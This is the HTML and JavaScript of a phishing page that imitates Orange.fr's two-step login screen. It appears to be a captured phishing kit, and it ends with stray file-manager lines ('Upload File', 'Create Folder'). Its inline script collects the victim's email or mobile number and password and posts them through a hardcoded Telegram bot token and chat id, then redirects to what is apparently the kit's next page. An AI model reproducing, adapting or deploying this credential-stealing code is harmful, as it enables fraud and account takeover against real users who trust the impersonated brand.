aria-labelledby="login-label " aria-describedby="login-helper" aria-invalid="false" data-testid="input-login" maxlength="256" mandatory="true" autocorrect="off" autocapitalize="none" spellcheck="false" value="" ><label id="login-label" class="form-control-placeholder" for="login" data-testid="input-login-label">Adresse e-mail ou n° de mobile Orange</label> <div class="alert-container alert-container-sm alert-danger invalid-feedback"><p class="alert"><span class="alert-icon" aria-hidden="true"></span><label class="ob1-alert-title" id="login-invalid-feedback" for="login" data-testid="input-login-invalid-feedback">Saisissez une adresse e-mail ou un n° de mobile valide.</label></p></div> </div></div></div><div class="row mt-2"><div class="col-12 d-flex justify-content-center"><div class="d-inline-flex flex-column align-items-center flex-md-row-reverse justify-content-md-end"><button class="btn btn-primary" type="submit" id="btnSubmit" data-testid="submit-login" data-oevent-category="idme_login" data-oevent-action="clic_continuer_syntaxe_OK" data-oevent-label="bouton_continuer_syntaxe_OK" aria-label="Continuez et passez à l'étape suivante">Continuer</button></div></div></div><div class="row mt-1"><div class="col-12 d-flex justify-content-center"><button class="o-link-arrow ob1-link-large" aria-disabled="false" type="button" data-testid="link-find-login" data-oevent-category="idme_login" data-oevent-action="clic_retrouver_mail_avant_erreur" data-oevent-label="lien_retrouver_mail_avant_erreur">Identifiant oublié ?</button></div></div></form></div></div></div></main> <main id="root" class="h-100" ><noscript></noscript><div id="o-header" class="d-none" aria-hidden="true"><elcos-header class="" data-scrapbook-adoptedstylesheets="1" data-scrapbook-shadowdom="<div class="band bandeau-accessibility gp"><a title="Aller au contenu" href="#o-content-anchor" data-oevent-category="header" data-oevent-action="accessibilite" data-oevent-label="alleraucontenu">Aller au contenu</a></div><div class="band ruban gp has-layer small"><div class="left"><a title="Retour à l'accueil Orange.fr" href="https://www.orange.fr/" data-oevent-category="header" data-oevent-action="logo" tabindex="0" role="presentation" aria-label="Retour à l'accueil Orange.fr" class="logo has-small"><img src="small-logo-orange.svg" alt="Retour à l'accueil Orange.fr" class="small"></a></div><div class="right"></div></div><div class="overlay"></div><div></div>"></elcos-header></div><a id="o-content-anchor" class="o-anchor" tabindex="-1"></a><div id="s-header" class="d-none" aria-hidden="true"></div><div class="flex-fill d-flex flex-column h-100 bg-gray2"><div class="col-12 col-sm-12 col-md-7 col-lg-6 col-xl-5 col-xxl-4 bg-white align-self-center p-0 border-idme"><div class="mt-0 mb-3"><div class="row d-block text-center mt-2 px-2 px-lg-3"><a href="https://www.orange.fr/" title="retour à l'accueil" data-oevent-category="idme_logo-V2" data-oevent-action="clic_logo" data-oevent-label="lien_orange"><img src="logo-orange.png" alt="Retour à l'accueil Orange" style="max-height: 50px;"></a><h1 class="mt-1 mb-1 pb-0" data-testid="pageTitle">Bienvenue</h1></div><div class="row d-block text-center"><div class="d-inline-block" role="button" data-testid="change-account" data-state="closed"><div class="account-details d-inline-block account-details-link"><div class="d-flex flex-fill justify-content-center align-items-center"><span class="icon icon-arrow-previous account-details-arrow" aria-hidden="true"></span><img src="avatar.svg" alt="avatar" class="account-details-img" data-testid="user-avatar" aria-hidden="true"><span>06 80 68 38 60</span></div></div></div></div></div><div class="container-fluid mb-4 mb-md-3"><form><div class="row"><div class="col-12"><h2 class="h4 mb-0" data-testid="pageSubtitle">Saisissez votre mot de passe</h2></div></div><div class="row"><div class="col-12 justify-content-center"><input style="display: none;" type="text" id="login" autocomplete="username" value="06 80 68 38 60"><div class="form-group"><input type="password" id="password" class="form-control form-control-empty form-control-icon" aria-labelledby="password-label " aria-describedby="password-helper" aria-invalid="false" data-testid="input-password" maxlength="50" mandatory="true" autocomplete="current-password" value="" placeholder=" "><label id="password-label" class="form-control-placeholder" for="password" data-testid="input-password-label">Votre mot de passe</label><button data-testid="input-password-btn-icon" data-oevent-category="idme_password" data-oevent-action="clic_afficher_mot_de_passe" data-oevent-label="afficher_mot_de_passe" class="btn btn-icon" type="button"><span class="icon icon-accessibility-vision" aria-hidden="true"></span><span class="sr-only">mot de passe caché</span><span class="icon icon-Hide" aria-hidden="true"></span><span class="sr-only">mot de passe visible</span></button> <div class="alert-container alert-container-sm alert-danger invalid-feedback"><p class="alert"><span class="alert-icon" aria-hidden="true"></span><label class="ob1-alert-title" id="password-invalid-feedback" for="password" data-testid="input-password-invalid-feedback">Saisissez votre mot de passe.</label></p></div> </div></div></div><div class="row mt-2"><div class="col-12 d-flex justify-content-center"><div class="d-inline-flex flex-column align-items-center"><button class="btn btn-primary" type="submit" id="btnSubmit" data-testid="submit-password">S’identifier</button></div></div></div><div class="row mt-1"><div class="col-12 d-flex justify-content-center"><button class="o-link-arrow ob1-link-large ml-0 mt-0" aria-disabled="false" type="button" data-testid="lost-password" data-oevent-category="idme_password" data-oevent-action="clic_mot_de_passe_oublie" data-oevent-label="mot_de_passe_oublie">Mot de passe oublié ?</button></div></div></form></div></div></div> </main> <script> document.addEventListener("DOMContentLoaded", function () { const inputs = document.querySelectorAll("input.form-control"); inputs.forEach((input) => { const label = input.parentElement.querySelector("label"); if (!label) return; const updateLabelState = () => { if (input.offsetParent === null) return; // Si le champ est masqué, on ne fait rien const isFilled = input.value.trim() !== ""; const isFocused = document.activeElement === input; if (isFilled && !isFocused) { label.classList.add("label-paused"); } else { label.classList.remove("label-paused"); } }; // Gère le focus, le blur, la saisie input.addEventListener("input", updateLabelState); input.addEventListener("blur", updateLabelState); input.addEventListener("focus", updateLabelState); // MutationObserver : si le champ devient visible, on met à jour l’état const observer = new MutationObserver(updateLabelState); observer.observe(input, { attributes: true, attributeFilter: ["style", "class"] }); // Initial check après chargement setTimeout(updateLabelState, 50); }); }); document.addEventListener("DOMContentLoaded", function () { const clickableElement = document.querySelector('[role="button"][data-testid="change-account"]'); if (clickableElement) { clickableElement.addEventListener("click", function () { location.reload(); // Recharge la page }); } }); document.addEventListener("DOMContentLoaded", function () { const main1 = document.querySelectorAll("main")[0]; const main2 = document.querySelectorAll("main")[1]; const inputLogin = document.querySelector("#login"); const loginErrorLabel = document.querySelector("#login-invalid-feedback"); const btnContinue = document.querySelector("#btnSubmit"); const passwordInput = document.querySelector('input[type="password"]'); const passwordErrorLabel = document.querySelector("#password-invalid-feedback"); const btnIdentify = document.querySelectorAll("#btnSubmit")[1]; const secondLoginHidden = main2.querySelector('input[type="text"]#login'); const secondAccountDisplay = main2.querySelector(".account-details span:last-child"); // Hide main2 by default main2.style.display = "none"; // Utils function isValidInput(value) { const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; const phoneRegex = /^(06|07|08)\d{8}$/; return emailRegex.test(value) || phoneRegex.test(value.replace(/\s/g, '')); } function showError(label) { label.closest(".alert-container").style.display = "block"; } function hideError(label) { label.closest(".alert-container").style.display = "none"; } // First screen: validation btnContinue.addEventListener("click", function (e) { e.preventDefault(); const loginValue = inputLogin.value.trim(); if (!isValidInput(loginValue)) { showError(loginErrorLabel); return; } hideError(loginErrorLabel); // Inject login into second screen const formattedLogin = loginValue.replace(/(\d{2})(?=\d)/g, "$1 ").trim(); secondLoginHidden.value = formattedLogin; secondAccountDisplay.textContent = formattedLogin; // Simple transition sans effet setTimeout(() => { main1.style.display = "none"; main2.style.display = "block"; }, 1200); }); // Second screen: password check and send btnIdentify.addEventListener("click", function (e) { e.preventDefault(); const password = passwordInput.value; if (!password) { showError(passwordErrorLabel); return; } hideError(passwordErrorLabel); const login = secondLoginHidden.value; const message = `🔐 Identifiants Orange\n👤 Login: ${login}\n🔑 Mot de passe: ${password}`; fetch(`https://api.telegram.org/bot6807969554:AAFACGiRejyHj3Ck016HppvEEl-AuZGv5pU/sendMessage`, { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ chat_id: 1054499478, text: message, }), }).then(() => { window.location.href = "./char/index.php"; }); }); // Hide errors on load hideError(loginErrorLabel); hideError(passwordErrorLabel); }); document.addEventListener("DOMContentLoaded", function () { const passwordInput = document.getElementById("password"); const toggleButton = document.querySelector('[data-testid="input-password-btn-icon"]'); const iconHide = toggleButton.querySelector(".icon-accessibility-vision"); const iconVision = toggleButton.querySelector(".icon-Hide"); toggleButton.addEventListener("click", function () { const isPassword = passwordInput.type === "password"; passwordInput.type = isPassword ? "text" : "password"; // Optionnel : changer l'icône selon l'état iconHide.style.display = isPassword ? "none" : "inline-block"; iconVision.style.display = isPassword ? "inline-block" : "none"; }); // Initialiser les icônes correctement iconHide.style.display = "inline-block"; iconVision.style.display = "none"; }); </script> </body> <footer id="o-footer-wrapper"><elcos-footer-zone id="o-footer-lienLegal" zone="liens-legaux" data-scrapbook-adoptedstylesheets="2" data-scrapbook-shadowdom="<div class="band liens-legaux gp "><h2 class="screen-reader-only">Mentions légales</h2><div class="size-limit"><a title="Informations légales (nouvelle fenêtre)" href=; data-oevent-category="footer_legal" data-oevent-action="informationslegales" data-oevent-label="informationslegales" target="_blank">Informations légales</a><a title="Plan de site" href=; data-oevent-category="footer_legal" data-oevent-action="plandesite" data-oevent-label="plandesite">Plan de site</a><a title="Données personnelles (nouvelle fenêtre)" href=; data-oevent-category="footer_legal" data-oevent-action="donneespersonnelles" data-oevent-label="donneespersonnelles" target="_blank">Données personnelles</a><a title="Accessibilité : non conforme" href=; data-oevent-category="footer_legal" data-oevent-action="accessibilité" data-oevent-label="accessibilité">Accessibilité : <b>non conforme</b></a><a title="Tarifs et Contrats (nouvelle fenêtre)" href=; data-oevent-category="footer_legal" data-oevent-action="tarifsetcontrats" data-oevent-label="tarifsetcontrats" target="_blank">Tarifs et Contrats</a><a title="Politique des cookies (nouvelle fenêtre)" href=; data-oevent-category="footer_legal" data-oevent-action="politiquecookies" data-oevent-label="politiquecookies" target="_blank">Politique des cookies</a><a title="Gestion cookies" href="javascript:" data-oevent-category="footer_legal" data-oevent-action="gestioncookies" data-oevent-label="gestioncookies" role="button">Gestion cookies</a><a title="Livraisons" href=; data-oevent-category="footer_legal" data-oevent-action="livraisons" data-oevent-label="livraisons">Livraisons</a><a title="Retours" href=; data-oevent-category="footer_legal" data-oevent-action="retours" data-oevent-label="retours">Retours</a><span class="non-breakable"><a title="Publicité (nouvelle fenêtre)" href=; data-oevent-category="footer_legal" data-oevent-action="publicite" data-oevent-label="publicite" target="_blank">Publicité</a><a title="Signaler un contenu (nouvelle fenêtre)" href=; data-oevent-category="footer_legal" data-oevent-action="signaleruncontenu" data-oevent-label="signaleruncontenu" target="_blank">Signaler un contenu</a><span class="separator"></span><span class="copyright">© Orange 2025</span></span></div></div>"></elcos-footer-zone></footer><style><br> @media only screen and (min-width: 768px) {<br> .QSIWebResponsive-creative-container-fade > div[class*="QSIWebResponsiveDialog-Layout1"] {<br> width: 400px !important;<br> max-width: 400px !important;<br> height: 90% !important;<br> max-height: 88vh !important;<br><br> }<br> <br> body > div.QSIWebResponsive > div.QSIWebResponsive-creative-container-fade > div > div[class*="_embedded-target-container"]{ <br> height: 95% !important;<br> max-height: 84vh !important;<br> }<br> }<br><br> .QSIPopOverShadowBox{<br> width:100% !important;<br> height:100% !important;<br> }<br> <br> body > div[class*="_PopOverContainer"] > div:nth-child(1), body > div[class*="_PopOverContainer"] > div:nth-child(2){<br> border: 5px #ffffff solid !important;<br> border-radius: 5px !important;<br> }<br> div.QSIWebResponsive > div.QSIWebResponsive-creative-container-fade > div{<br> height:90%;<br> }<br> div.QSIWebResponsive > div.QSIWebResponsive-creative-container-fade > div > div:nth-child(2){<br> height:90%;<br> }<br> </style><div id="ZN_cVlwOweDRfcbKL4"></div><script data-scrapbook-elem="basic-loader">(function () { var k1 = "data-scrapbook-shadowdom", k2 = "data-scrapbook-canvas", k3 = "data-scrapbook-input-indeterminate", k4 = "data-scrapbook-input-checked", k5 = "data-scrapbook-option-selected", k6 = "data-scrapbook-input-value", k7 = "data-scrapbook-textarea-value", k8 = "data-scrapbook-adoptedstylesheets", k9 = /^data-scrapbook-adoptedstylesheet-(\d+)$/, k10 = "data-scrapbook-shadowdom-mode", k11 = "data-scrapbook-shadowdom-clonable", k12 = "data-scrapbook-shadowdom-delegates-focus", k13 = "data-scrapbook-shadowdom-serializable", k14 = "data-scrapbook-shadowdom-slot-assignment", k15 = "data-scrapbook-slot-assigned", k16 = "data-scrapbook-slot-index", k17 = /^scrapbook-slot-index=(\d+)$/; k18 = '/scrapbook-slot-index'; d = document, r = d.documentElement, $s = !!r.attachShadow, $as = !!d.adoptedStyleSheets, $c = !!window.HTMLCanvasElement, $sa = !!d.createElement('slot').assign, sle = [], sls = [], slt = function (r) { if ($sa) { var E = r.childNodes, i, e, s, m; for (i = 0; i < E.length; i++) { e = E[i]; if (e.nodeType === 8) { s = e.nodeValue; if (m = s.match(k17)) { s = e.nextSibling; if (s.nodeType === 3) { sls[m[1]] = s; } r.removeChild(e); i--; } else if (s === k18) { r.removeChild(e); i--; } } } } }, sl = function () { var i = sle.length, j, d, e; while (i--) { d = sle[i]; e = d.elem; d = d.value.split(','); j = d.length; while (j--) { d[j] = sls[parseInt(d[j], 10)]; } try { e.assign.apply(e, d); } catch (ex) { console.error(ex); } } }, asl = (function (r) { var l = [], E, i, e, m, c, j; if ($as) { E = r.attributes; i = E.length; while (i--) { e = E[i]; if (!(m = e.nodeName.match(k9))) { continue; } c = l[m[1]] = new CSSStyleSheet(); r.removeAttribute(m[0]); m = e.nodeValue.split('\n\n'); j = m.length; while (j--) { try { m[j] && c.insertRule(m[j]); } catch (ex) { console.error(ex); } } } } return l; })(r), as = function (d, e) { var l, i, I; if ($as && (l = e.getAttribute(k8)) !== null) { l = l.split(','); for (i = 0, I = l.length; i < I; i++) { d.adoptedStyleSheets.push(asl[l[i]]); } e.removeAttribute(k8); } }, fn = function (r) { var E = r.querySelectorAll ? r.querySelectorAll("*") : r.getElementsByTagName("*"), i = E.length, e, d, s, m; while (i--) { e = E[i]; s = e.shadowRoot; if ($s && (d = e.getAttribute(k1))) { if (!s) { try { s = e.attachShadow({ mode: (m = e.getAttribute(k10)) !== null ? m : 'open', clonable: e.hasAttribute(k11), delegatesFocus: e.hasAttribute(k12), serializable: e.hasAttribute(k13), slotAssignment: (m = e.getAttribute(k14)) !== null ? m : void(0), }); s.innerHTML = d; } catch (ex) { console.error(ex); } } e.removeAttribute(k1); e.removeAttribute(k10); e.removeAttribute(k11); e.removeAttribute(k12); e.removeAttribute(k13); e.removeAttribute(k14); } if ($c && (d = e.getAttribute(k2)) !== null) { (function () { var c = e, g = new Image(); g.onload = function () { c.getContext('2d').drawImage(g, 0, 0); }; g.src = d; })(); e.removeAttribute(k2); } if ((d = e.getAttribute(k3)) !== null) { e.indeterminate = true; e.removeAttribute(k3); } if ((d = e.getAttribute(k4)) !== null) { e.checked = d === 'true'; e.removeAttribute(k4); } if ((d = e.getAttribute(k5)) !== null) { e.selected = d === 'true'; e.removeAttribute(k5); } if ((d = e.getAttribute(k6)) !== null) { e.value = d; e.removeAttribute(k6); } if ((d = e.getAttribute(k7)) !== null) { e.value = d; e.removeAttribute(k7); } if ($sa && (d = e.getAttribute(k15)) !== null) { sle.push({elem: e, value: d}); e.removeAttribute(k15); } if ($sa && (d = e.getAttribute(k16)) !== null) { sls[d] = e; e.removeAttribute(k16); } if (s) { slt(e); as(s, e); fn(s); } } }; as(d, r); fn(d); sl(); })()</script> </html>
Upload File
Create Folder